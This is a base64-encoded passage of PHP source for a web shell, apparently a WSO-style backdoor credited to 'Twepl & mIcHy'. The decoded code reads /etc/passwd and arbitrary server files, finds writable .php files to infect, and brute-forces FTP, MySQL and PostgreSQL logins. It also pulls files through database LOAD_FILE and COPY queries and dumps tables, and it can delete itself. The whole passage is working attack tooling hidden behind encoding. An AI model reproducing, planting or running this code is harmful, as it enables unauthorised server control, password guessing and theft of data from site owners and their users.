IG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+PGJyPjxzcGFuPkltYXBfb3BlbiAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI2Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsNCglpZigkdGVtcCkNCgkJZWNobyAnPHByZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuJHRlbXAuJzwvcHJlPic7DQoJZWNobyAnPC9kaXY+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7DQogICAgc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnJywgdGltZSgpIC0gMzYwMCk7DQoJZGllKCI8ZGl2IGFsaWduPSdjZW50ZXInPjxkaXYgY2xhc3M9J2NvbnRhaW5lcic+PGRpdiBjbGFzcz0nc2t5Jz48ZGl2IGNsYXNzPSd0ZXh0Jz5USEFOSyBZT1UgJiBCWUU8L2Rpdj48ZGl2IGNsYXNzPSdzdGFycyc+PC9kaXY+PGRpdiBjbGFzcz0nc3RhcnMxJz48L2Rpdj48ZGl2IGNsYXNzPSdzdGFyczInPjwvZGl2PjxkaXYgY2xhc3M9J3Nob290aW5nLXN0YXJzJz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4NCjxzdHlsZT5odG1se2hlaWdodDoxMDAlfWh0bWwgYm9keXt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO21hcmdpbjowO2ZvbnQtZmFtaWx5Ok51bml0bywgc2Fucy1zZXJpZjt9LmNvbnRhaW5lcntkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCMwMjAxMDcgMCwjMjAxYjQ2IDEwMCUpfS5jb250YWluZXIgLnRleHR7Y29sb3I6I2ZmZjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NTAlO3JpZ2h0OjUwJTttYXJnaW46LTEwcHggLTc1cHggMCAwO2ZvbnQtc2l6ZToyMHB4O2ZvbnQtZmFtaWx5Ok51bml0bywgc2Fucy1zZXJpZjtmb250LXdlaWdodDo3MDB9LnNob290aW5nLXN0YXJze3otaW5kZXg6MTA7d2lkdGg6NXB4O2hlaWdodDo4NXB4O2JvcmRlci10b3AtbGVmdC1yYWRpdXM6NTAlO2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjUwJTtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206MDtyaWdodDowO2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KHRvIHRvcCxyZ2JhKDI1NSwyNTUsMjU1LDApLCNmZmYpO2FuaW1hdGlvbjphbmltU2hvb3RpbmdTdGFyIDEwcyBsaW5lYXIgaW5maW5pdGV9QGtleWZyYW1lcyBhbmltU3Rhcntmcm9te3RyYW5zZm9ybTp0cmFuc2xhdGVZKDApfXRve3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0yNTYwcHgpIHRyYW5zbGF0ZVgoLTI1NjBweCl9fUBrZXlmcmFtZXMgYW5pbVNob290aW5nU3Rhcntmcm9te3RyYW5zZm9ybTp0cmFuc2xhdGVZKDApIHRyYW5zbGF0ZVgoMCkgcm90YXRlKC00NWRlZyk7b3BhY2l0eToxO2hlaWdodDo1cHh9dG97dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTI1NjBweCkgdHJhbnNsYXRlWCgtMjU2MHB4KSByb3RhdGUoLTQ1ZGVnKTtvcGFjaXR5OjE7aGVpZ2h0OjgwMHB4fX08L3N0eWxlPg0KPGZvb3RlciBpZD0nZGV0JyBzdHlsZT0ncG9zaXRpb246Zml4ZWQ7IGxlZnQ6MHB4OyByaWdodDowcHg7IGJvdHRvbTowcHg7IGJhY2tncm91bmQ6cmdiKDAsMCwwKTsgdGV4dC1hbGlnbjpjZW50ZXI7IGJvcmRlci10b3A6IDFweCBzb2xpZCAjZmYwMDdlOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2ZmMDA3ZSc+PGZvbnQgZmFjZT0nQ2VudHVyeSBHb3RoaWMnIGNvbG9yPScjZmYwMDQ4JyBzaXplPSc1Jz48Zm9udCBzdHlsZT0nZm9udC1zaXplOiAxMHB0JyBmYWNlPSdDZW50dXJ5IEdvdGhpYyc+PGZvbnQgZmFjZT0nVGFob21hJyBjb2xvcj0nIzAwNWFmZicgc2l6ZT0nMi41Jz48Zm9udCBjb2xvcj0nI2ZmMDA3ZSc+PGI+IMKpb3B5wq5pZ2h0IDogPC9iPjwvZm9udD4NCjxtYXJxdWVlIHNjcm9sbGFtb3VudD0nMycgc2Nyb2xsZGVsYXk9JzYwJyB3aWR0aD0nODAlJz48Yj5Ud2VwbCAmIDxhIGhyZWY9J2h0dHBzOi8vZ2l0aHViLmNvbS9tSWNIeUFtUmFOZSc+bUljSHk8L2E+IDwvYj48L21hcnF1ZWU+ICA8L2ZvbnQ+PC9mb250PjwvZm9udD48L2Zvb3Rlcj4iKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7DQoJaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKQ0KCQlpZihAdW5saW5rKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KCQkJZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVkJyk7DQoJCWVsc2UNCgkJCWVjaG8gJ3VubGluayBlcnJvciEnOw0KICAgIGlmKCRfUE9TVFsncDEnXSAhPSAneWVzJykNCiAgICAgICAgaGFyZEhlYWRlcigpOw0KCWVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25JbmZlY3QoKSB7DQoJaGFyZEhlYWRlcigpOw0KCWVjaG8gJzxoMT5JbmZlY3Q8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWlmKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0Jykgew0KCQkkdGFyZ2V0PSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQoJCQlmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcikgew0KCQkJCWlmKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCgkJCQkJJGZpbGVzID0gQXJyYXkoKTsNCgkJCQkJJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsNCgkJCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsNCgkJCQkJCWlmKCRmaWxlICE9ICIuIiAmJiAkZmlsZSAhPSAiLi4iKSB7DQoJCQkJCQkJaWYoaXNfZGlyKCRkaXIgLiAiLyIgLiAkZmlsZSkpIHsNCgkJCQkJCQkJJGlubmVyX2ZpbGVzID0gTGlzdEZpbGVzKCRkaXIgLiAiLyIgLiAkZmlsZSk7DQoJCQkJCQkJCWlmKGlzX2FycmF5KCRpbm5lcl9maWxlcykpICRmaWxlcyA9IGFycmF5X21lcmdlKCRmaWxlcywgJGlubmVyX2ZpbGVzKTsNCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQlhcnJheV9wdXNoKCRmaWxlcywgJGRpciAuICIvIiAuICRmaWxlKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJY2xvc2VkaXIoJGRoKTsNCgkJCQkJcmV0dXJuICRmaWxlczsNCgkJCQl9DQoJCQl9DQoJCQlmb3JlYWNoIChMaXN0RmlsZXMoJHRhcmdldCkgYXMgJGtleT0+JGZpbGUpew0KCQkJCSRuRmlsZSA9IHN1YnN0cigkZmlsZSwgLTQsIDQpOw0KCQkJCWlmKCRuRmlsZSA9PSAiLnBocCIgKXsNCgkJCQkJaWYoKCRmaWxlPD4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiRfU0VSVkVSWydQSFBfU0VMRiddKSYmKGlzX3dyaXRlYWJsZSgkZmlsZSkpKXsNCgkJCQkJCWVjaG8gIiRmaWxlPGJyPiI7DQoJCQkJCQkkaSsrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAiPGZvbnQgY29sb3I9I2ExMDcwNSBzaXplPTE0PiRpPC9mb250PiI7DQoJCX1lbHNlew0KCQkJZWNobyAiPGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUluZmVjdCBuYW1lPWluZmV0PjwvZm9ybT4iOw0KCQkJZWNobyAnUmVhbGx5IHdhbnQgdG8gaW5mZWN0IHRoZSBzZXJ2ZXI/Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnaW5mZWN0XCcpIj5ZZXM8L2E+PC9kaXY+JzsNCgkJfQ0KCWhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7DQoJaGFyZEhlYWRlcigpOw0KCWlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgew0KCQllY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7DQoJCWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7DQoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7DQoJCQkJaWYoISRmcCkgcmV0dXJuIGZhbHNlOw0KCQkJCSRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQGZ0cF9jbG9zZSgkZnApOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7DQoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4oJHBvcnQ/JHBvcnQ6MzMwNiksICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBteXNxbF9jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7DQoJCQkJJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOw0KCQkJCUBwZ19jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfQ0KCQkkc3VjY2VzcyA9IDA7DQoJCSRhdHRlbXB0cyA9IDA7DQoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7DQoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7DQoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkNCgkJCQlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQoJCQkJCSRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkNCgkJCQkJCQkkdG1wIC49ICRsaW5lWzBdWyRpXTsNCgkJCQkJCSsrJGF0dGVtcHRzOw0KCQkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7DQoJCQkkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSB0cmltKCRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOw0KCX0NCgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48bGFiZWw+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjwvdGQ+PC90cj48dHI+PHRkPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgIHZhbHVlPSIiPicNCgkJLic8c3Bhbj5TZXJ2ZXI6cG9ydDwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjx0YWJsZSBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjx0cj48dGQ+PHNwYW4+TG9naW48L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+Jw0KCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsNCgllY2hvICc8L2Rpdj4nOw0KCWhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCgljbGFzcyBEYkNsYXNzIHsNCgkJdmFyICR0eXBlOw0KCQl2YXIgJGxpbms7DQoJCXZhciAkcmVzOw0KCQlmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSkJew0KCQkJJHRoaXMtPnR5cGUgPSAkdHlwZTsNCgkJfQ0KCQlmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsNCgkJCQkJaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOw0KCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkgew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGZldGNoKCkgew0KCQkJJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsaXN0RGJzKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZyciKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBlcnJvcigpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuIEBteXNxbF9lcnJvcigpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkNCgkJCQkJCXJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOw0KCQkJCQllbHNlDQoJCQkJCQkkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbG9hZEZpbGUoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgaGFyZDIoZmlsZSB0ZXh0KTtDT1BZIGhhcmQyIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIGhhcmQyOyIpOw0KCQkJCQkkcj1hcnJheSgpOw0KCQkJCQl3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkNCgkJCQkJCSRyW10gPSAkaVsnZmlsZSddOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgaGFyZDInKTsNCgkJCQkJcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCSRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOw0KCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7DQoJCQkJCSRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7DQoJCQkJCXdoaWxlKCTilp8gPSAkdGhpcy0+ZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCQlmb3JlYWNoKCTilp8gYXMgJGs9PiR2KSB7DQogICAgICAgICAg